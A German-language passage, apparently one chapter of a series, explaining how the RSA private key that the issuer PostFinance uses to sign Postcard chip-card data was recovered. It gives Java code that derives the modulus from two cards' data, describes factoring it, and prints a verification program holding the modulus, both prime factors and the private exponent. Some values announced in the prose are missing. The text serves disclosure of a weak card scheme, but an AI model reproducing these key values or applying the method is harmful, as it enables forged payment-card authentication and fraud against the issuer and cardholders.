Berechnung des geheimen Schlüssels der Kartenausgabestelle

Wie erwähnt basiert die Authentifikation der Postcard auf einem vereinfachten Signatur-Verfahren mittels RSA-Verschlüsselung: Dazu werden Klartextdaten der Karte (bestehend unter anderem aus der Kartennummer und dem Gültigkeitszeitraum) bei der Kartenerstellung mit dem privaten Schlüssel des Kartenausgebers (PostFinance) signiert und das erhaltene Chiffrat zusammen mit den Kartendaten im ROM-Bereich der Karte abgelegt.

Mathematische Grundlagen

Im RSA-Verfahren kann der private Schlüssel theoretisch aus dem öffentlichen Schlüssel berechnet werden; die Sicherheit des Verfahrens basiert auf der praktischen Unmöglichkeit dieser Berechnung und ist damit direkt von der Länge des verwendeten Schlüssels sowie den zur Verfügung stehenden mathematischen Verfahren zur Primzahlzerlegung sehr grosser Zahlen abhängig. Als sicher gelten heute RSA-Schlüssel mit einer Länge von mindestens 1024 Bit.

Im RSA-Verfahren besteht ein Schlüsselpaar aus drei Parametern: Dem Modulus m, dem öffentlichen Exponenten e und dem privaten Exponenten d. Der öffentliche Schlüssel ist dann bestimmt durch { e, m }, der private Schlüssel entsprechend durch { d, m }.

Ver- und Entschlüsselung von Klartext k und Chiffrat c geschieht nach folgenden Gleichungen:

Verschlüsselung: c = k^d mod m
Entschlüsselung: k = c^e mod m

Alle drei Parameter des Schlüsselpaares sind dabei über mathematische Beziehungen miteinander verknüpft: Der Modulus m ist dabei das Produkt aus zwei grossen Primzahlen p und q, d.h. m = p · q. Als Hilfsvariable wird der kleinste gemeinsame Vielfache von p-1 und q-1 verwendet: r = kgV (p-1,q-1). Für die Exponenten e und d gilt die Beziehung e · d ≡ 1 mod r, wobei der frei gewählte öffentliche Exponent e teilerfremd zu r sein muss.

Gelingt es nun, den Modulus m in seine beiden Primfaktoren p und q zu zerlegen, dann kann mit Kenntnis des öffentlichen Exponenten e unter Verwendung der obigen Gleichungen der private Exponent d und damit der private Schlüssel berechnet werden.

Ermittlung des Modulus m

Normalerweise kann der Modulus direkt dem öffentlichen Schlüssel entnommen werden; in unserem Fall ist aber der öffentliche Schlüssel nicht "veröffentlicht". Um den Modulus des Schlüsselpaares zu ermitteln, gibt es jetzt zwei Herangehensweisen:

1. Extraktion des öffentlichen Schlüssels aus einem Postcard-EFT/POS-Terminal:
   

   Ist man in Besitz eines Postcard-Terminals, kann versucht werden den Schlüssel aus der Hardware zu extrahieren. Dieses Vorgehen ist jedoch sehr zeitaufwändig und erfordert entsprechende Kenntnisse der eingesetzten Hardware.

2. Berechnung des Modulus aus Kartendaten
   

   Der benötigte Modulus kann auch direkt aus den Daten zweier Postcards berechnet werden; dieses Verfahren ist deutlich einfacher, da keine spezielle Hardware benötigt wird.

Wir wählen das einfachere Verfahren 2, um den Modulus zu ermitteln. Dazu benötigen wir die Daten von zwei Postcards, aus denen wir jeweils den Wert für Klartext k sowie für das Chiffrat c ermitteln müssen.

Um den Wert für den Modulus zu erhalten, bedienen wir uns der folgenden mathematischen überlegung, wobei wir als Wert für den öffentlichen Exponenten den Wert 3 annehmen (analog zur franz. Bankkarte):

Es gelten folgende Gleichungen:

Da wir zwei beliebige Postcards verwenden können, kennen wir den jeweiligen Kartenprefix (eventuell) nicht. Deshalb bestimmen wir nur kx (k' ohne Prefix) für jede Karte. Nachfolgendes Programm berechnet damit den Modulus aus zwei Kartendaten:

import java.math.BigInteger;

public class ComputeMod2 {

  public static void main (String[] argv) {
    
    String c1Str  = "0EC6DA0D247A69CD093B6D852118CA4346B44EEECE4A3394F872C1356A8070BFEBB54669F375A63F2";
    String kx1Str = "0050162300000234208157701030503";

    String c2Str  = "09BA94341F1DD339766F71DF4BA1CC807C565AA0FC3BE835570104F5A0DF636D4F4F4AC7BFA481257";
    String kx2Str = "0050162300000234208157706021002";

    BigInteger c13 = new BigInteger (c1Str, 16).pow(3);
    BigInteger c23 = new BigInteger (c2Str, 16).pow(3);
    
    for (int n1 = 0; n1 < 16; n1++) {
      String tmp = "00004" + hex.charAt(n1) + "000" + kx1Str;
      BigInteger k1 = new BigInteger (tmp + tmp, 16);
      BigInteger a = c13.add(k1.negate());
      for (int n2 = 0; n2 < 16; n2++) {
        tmp = "00004" + hex.charAt(n2) + "000" + kx2Str;
        BigInteger k2 = new BigInteger (tmp + tmp, 16);
        BigInteger b = c23.add(k2.negate());
        
        BigInteger m = a.gcd(b);
        if (m.bitLength() > 318) {
          System.out.println ("Modulus:  0x" + m.toString(16));
          System.out.println ("          " + m.toString());
          return;
        }
      }
    }
    System.out.println ("Kein Modulus gefunden !?");
  }
  
  private static String hex = "0123456789ABCDEF";
}

Führt man diese Berechnung für zwei Postcards durch, so erhält man den folgenden Wert für den gesuchten Modulus:

Faktorisierung des Modulus

Der gefundene Modulus m kann jetzt in seine Primfaktoren p und q zerlegt werden; dazu kann ein Programm wie qsieve verwendet werden, das eine Faktorisierung mit mehreren Rechnern gleichzeitig durchführen kann. Nach einigen Stunden Rechenzeit erhält man dann das gewünschte Ergebnis:

Berechnung des privaten Exponenten

Zur Bestimmung des privaten Exponenten können wir Gleichung e · d ≡ 1 mod r verwenden. Die Hilfsvariable r hat dabei den Wert:

Mit den berechneten Werten für e und r erhält man dann:

Verifikation der Ergebnisse

Mit dem nachfolgenden kleinen Java-Programm können wir prüfen, ob alle unsere Ergebnisse korrekt sind; alle Testfälle sollten "true" als Ergebnis liefern. Wer eine eigene Postcard und einen Chipkartenleser besitzt, kann die eigenen Kartendaten auslesen und die Werte für c und k durch die selbst-bestimmten Werte ersetzen:

import java.math.BigInteger;

public class Test {

  public static void main (String[] argv) {
    
    BigInteger c = new BigInteger ("0EC6DA0D247A69CD093B6D852118CA4346B44EEECE4A3394F872C1356A8070BFEBB54669F375A63F2", 16);
    BigInteger k = new BigInteger ("04400000501623000002342081577010305030000440000050162300000234208157701030503", 16);
     
    BigInteger m = new BigInteger ("100000000000000000000D62C6F32CD0EBF84B9339E3997B46570D236179E4675433DAA5FF513A6CF", 16);
    BigInteger p = new BigInteger ("39D6E856F2DF3C90B6C973BF29DFB66E8E73DEA7", 16);
    BigInteger q = new BigInteger ("46D111C85E2E5DD769207D4BAC02B0C039F9F6399", 16);
    BigInteger d = new BigInteger ("2AAAAAAAAAAAAAAAAAAACE5CBD33222d1FEB74327E8D9879429C9EB277CCD4FF39887BFCF68010C3", 16);
    BigInteger e = BigInteger.valueOf (3);

    check ("p * q == m", p.multiply (q), m);
    check ("c^d mod m == k", c.modPow (e, m), k);
    check ("k^d mod m == c", k.modPow (d, m), c);
  }

  private static void check (String msg, BigInteger a, BigInteger b) {
    boolean ok = a.equals(b);
    if (ok)
      System.out.println (msg + ": SUCCESS");
    else {
      System.out.println (msg + ": FAILED!");
      System.out.println ("     " + a.toString(16));
      System.out.println ("  <> " + b.toString(16));
    }
  }
}

Im nächsten Kapitel werden wir sehen, was es mit der PIN der Postcard auf sich hat...